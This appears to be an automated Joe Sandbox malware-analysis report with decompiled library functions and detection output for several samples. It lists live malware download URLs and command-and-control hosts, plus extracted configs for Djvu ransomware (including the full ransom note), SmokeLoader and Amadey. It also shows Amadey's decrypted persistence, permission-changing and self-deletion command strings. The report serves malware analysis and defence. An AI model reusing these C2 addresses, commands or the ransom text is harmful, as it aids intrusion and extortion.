							 *_t25 = _t15;
							 *((intOrPtr*)(_t25 + 4)) = _t15;
							 *((intOrPtr*)(_t25 + 8)) = _t15 + _t22;
							E0042B420(_t15, 0, _t22);
							 *((intOrPtr*)(_t25 + 4)) =  *((intOrPtr*)(_t25 + 4)) + _t22;
							goto L4;
						}
					}
				}
			}

0x00413c40
0x00413c44
0x00413c46
0x00413c47
0x00413c4a
0x00413c50
0x00413c57
0x00413c60
0x00413c8e
0x00413c93
0x00413c62
0x00413c62
0x00413c65
0x00413c96
0x00413c9b
0x00000000
0x00413c67
0x00413c68
0x00413c6d
0x00413c72
0x00413ca0
0x00413ca0
0x00413ca5
0x00413ca6
0x00413ca7
0x00413ca8
0x00413ca9
0x00413caa
0x00413cab
0x00413cac
0x00413cad
0x00413cae
0x00413caf
0x00413cb0
0x00413cb1
0x00413cb3
0x00413cb5
0x00413cb7
0x00413cba
0x00413cc2
0x00413cc8
0x00413ccf
0x00413ccf
0x00413cd7
0x00413c74
0x00413c78
0x00413c7d
0x00413c80
0x00413c83
0x00413c8b
0x00000000
0x00413c8b
0x00413c72
0x00413c65

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E00480620(void* __ebx, void* __edx, void* __ebp, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				void* _t13;
				intOrPtr* _t15;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;
				intOrPtr* _t29;
				void* _t31;
				void* _t32;

				_t29 = _a4;
				_t10 =  *_t29;
				_t34 =  *((intOrPtr*)(_t10 + 8)) - 0x40;
				if( *((intOrPtr*)(_t10 + 8)) > 0x40) {
					E00454C00(__ebx, __edx, _t27, _t29, __ebp, _t34, ".\\crypto\\evp\\digest.c", 0x10f, "ctx->digest->md_size <= EVP_MAX_MD_SIZE");
					_t31 = _t31 + 0xc;
				}
				_t13 =  *((intOrPtr*)( *((intOrPtr*)( *_t29 + 0x18))))(_t29, _a8);
				_t26 = _a12;
				_t32 = _t31 + 8;
				_t28 = _t13;
				if(_t26 != 0) {
					 *_t26 =  *((intOrPtr*)( *_t29 + 8));
				}
				_t15 =  *((intOrPtr*)( *_t29 + 0x20));
				if(_t15 != 0) {
					 *_t15(_t29);
					E0047D100(_t29, 2);
					_t32 = _t32 + 0xc;
				}
				E0042B420( *((intOrPtr*)(_t29 + 0xc)), 0,  *((intOrPtr*)( *_t29 + 0x44)));
				return _t28;
			}

0x00480621
0x00480626
0x00480628
0x0048062c
0x0048063d
0x00480642
0x00480642
0x0048064f
0x00480651
0x00480655
0x00480658
0x0048065c
0x00480663
0x00480663
0x00480667
0x0048066c
0x0048066f
0x00480674
0x00480679
0x00480679
0x00480686
0x00480692

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 004242A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C,?,00427F58,00000003,00428BB9,00507BD0,00000008,00428B0E,i;B), ref: 004242B0
__invoke_watson.LIBCMT ref: 004242CC

Strings

i;B, xrefs: 004242C9

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: DecodePointer__invoke_watson
String ID: i;B
API String ID: 4034010525-472376889
Opcode ID: 861cb4a8f49b93517597d00acdac5812cd007012726ad0a3f4681ad684a4087f
Instruction ID: 4f0f565c0ac0667cc87bbfc5f091dd064a73676b217a34b06ab6fef57441037f
Opcode Fuzzy Hash: 861cb4a8f49b93517597d00acdac5812cd007012726ad0a3f4681ad684a4087f
Instruction Fuzzy Hash: D2E0EC31510119FBDF012FA2EC05DAA3B69FF44294B8044A5FE1480171D776C870ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0044F23E(void* __eflags, char _a4) {
				char _v12;
				char _v16;
				char _v32;
				char _v40;
				char _v60;
				intOrPtr _v68;
				char _v92;
				char _v100;
				char _v120;
				void* _t58;
				void* _t63;
				void* _t64;
				void* _t65;

				_t58 = _t63;
				_t64 = _t63 - 0xc;
				E00430CFC( &_v16,  &_a4);
				_v16 = 0x4d6554;
				E00430ECA( &_v16, 0x5081fc);
				asm("int3");
				_push(_t58);
				_t65 = _t64 - 0xc;
				E00430CFC( &_v32,  &_v12);
				_v32 = 0x4d6560;
				E00430ECA( &_v32, 0x508238);
				asm("int3");
				_push(_t64);
				E00430CFC( &_v60,  &_v40);
				_v60 = 0x4d6578;
				E00430ECA( &_v60, 0x508274);
				asm("int3");
				_push(_t65);
				E0044EF74( &_v92, _v68);
				E00430ECA( &_v92, 0x508320);
				asm("int3");
				_push(_t65 - 0xc);
				E00430CFC( &_v120,  &_v100);
				_v120 = 0x4d656c;
				E00430ECA( &_v120, 0x5082cc);
				asm("int3");
				return "bad function call";
			}

0x0044f23f
0x0044f241
0x0044f251
0x0044f25e
0x0044f266
0x0044f26b
0x0044f26c
0x0044f26f
0x0044f27f
0x0044f28c
0x0044f294
0x0044f299
0x0044f29a
0x0044f2ad
0x0044f2ba
0x0044f2c2
0x0044f2c7
0x0044f2c8
0x0044f2d4
0x0044f2e2
0x0044f2e7
0x0044f2e8
0x0044f2fb
0x0044f308
0x0044f310
0x0044f315
0x0044f31b

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F25B, 0044F247

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Source: http://aa.imgjeoogbb.com:80/check/?sid=13824&key=51a568d7d2553f06b9b14e1a591ee7bc3	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/?sid=13930&key=ff297e48489120df4aadb333b8db0d5faa.imgjeoogbb.comaa	Avira URL Cloud: Label: malware
Source: http://adriaenclaeys.ta.imgjeoogbb.com/check/?sid=13944&key=1f6a8ddd9b917ea17b924f5c170badcf	Avira URL Cloud: Label: malware
Source: https://nordskills.eu/tmp/index.php	Avira URL Cloud: Label: malware
Source: http://h170013.srv22.test-hf.su/157.exe	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/safebb.com/	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/safe724	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13886&key=4c5b358ac6d7081a73168082242b8e8d	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13716&key=5decc7c688ce26a97d722a3f12678e5c	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13944&key=c	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13824&key=51a568d7d2553f06b9b14e1a591ee7bc	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/?sid=13908&key=998c73684e358e008e745dc71067c837	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13944&key=1f6a8ddd9b917ea17b924f5c170badcf	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/?sid=13858&key=5ee6946efebe0e76c2a21c2236bd4723	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/safeP	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13714&key=36c9d8d1e8b160fc1ef706623ad34261	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=14022&key=b2fb9f5bd7b27d7aa6a137bc83986ff1N	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13844&key=b750c13b7d486a4a6a96776c26395d2e	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13944&key=	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/safeX	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/safe	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13824&key=	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=1384eR	Avira URL Cloud: Label: malware
Source: http://5.42.65.80/8bmeVwqx/index.php&	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/?sid=14022&key=b2fb9f5bd7b27d7aa6a137bc83986ff1	Avira URL Cloud: Label: malware
Source: http://5.42.65.80/8bmeVwqx/index.php:	Avira URL Cloud: Label: malware
Source: http://reinroot.top/calc2.exe	Avira URL Cloud: Label: phishing
Source: http://5.42.65.80/8bmeVwqx/index.php=	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=14014&key=	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com/check/?sid=13774&key=328afcf8f5570f9ba88d4163908311e3	Avira URL Cloud: Label: malware
Source: http://aa.imgjeoogbb.com:80/check/safePw	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Avira: detection malicious, Label: HEUR/AGEN.1357339
Source: C:\Users\user\AppData\Local\Temp\FB94.exe	Avira: detection malicious, Label: HEUR/AGEN.1357339
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Avira: detection malicious, Label: HEUR/AGEN.1317762
Source: C:\Users\user\AppData\Local\Temp\XandETC.exe	Avira: detection malicious, Label: HEUR/AGEN.1329655
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	Avira: detection malicious, Label: HEUR/AGEN.1317762

Source: 00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-ujg4QBiBRu\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0751Osie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Wind
Source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://greenbi.net/tmp/", "http://speakdyn.com/tmp/", "http://pik96.ru/tmp/"]}
Source: 32.2.oldplayer.exe.ea0000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "5.42.65.80/8bmeVwqx/index.php", "Version": "3.83", "Install Path": "%TEMP%/207aa4515d/oneetx.exe"}

Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\4149.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\5542.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\5DF3.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\89B0.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\A078.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\FB94.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\XandETC.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Roaming\uehwfht	ReversingLabs: Detection: 42%

Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 5.42.65.80
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: /8bmeVwqx/index.php
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 3.83
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 207aa4515d
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: oneetx.exe
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SCHTASKS
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: /TR "
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: " /F
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Startup
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: rundll32
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: /Delete /TN "
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Programs
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: %USERPROFILE%
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: \App
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: POST
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &vs=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &sd=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &os=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &bi=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &ar=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &pc=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &un=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &dm=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &av=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &lv=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &og=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Main
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: http://
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: https://
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Plugins/
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &unit=
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: shell32.dll
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: kernel32.dll
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: ProgramData\
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: AVAST Software
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Avira
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Kaspersky Lab
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: ESET
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Panda Security
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Doctor Web
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 360TotalSecurity
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Bitdefender
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Norton
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Sophos
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Comodo
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: WinDefender
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 0123456789
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: ------
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: ?scr=1
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: .jpg
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: ComputerName
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: -unicode-
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: VideoID
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: \0000
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: ProductName
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 2019
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 2022
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 2016
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: CurrentBuild
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: echo Y\|CACLS "
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: " /P "
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: CACLS "
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: :R" /E
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: :F" /E
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &&Exit
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: rundll32.exe
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: "taskkill /f /im "
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: " && timeout 1 && del
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: && Exit"
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: " && ren
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: &&
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: Powershell.exe
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: \|I
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: :Q
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: l(
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: 8
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: \4
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: ;D
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: pa
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: j9
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: E
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: I5
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: @$
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: -%
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: )
Source: 32.2.oldplayer.exe.ea0000.0.unpack	String decryptor: -E

Source: C:\Users\user\AppData\Local\Temp\43AA.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D05F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5542.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\89B0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\32DC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F7C8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FB94.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D01F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\856.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6C58.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B666.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B03B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2666.exe	Joe Sandbox ML: detected
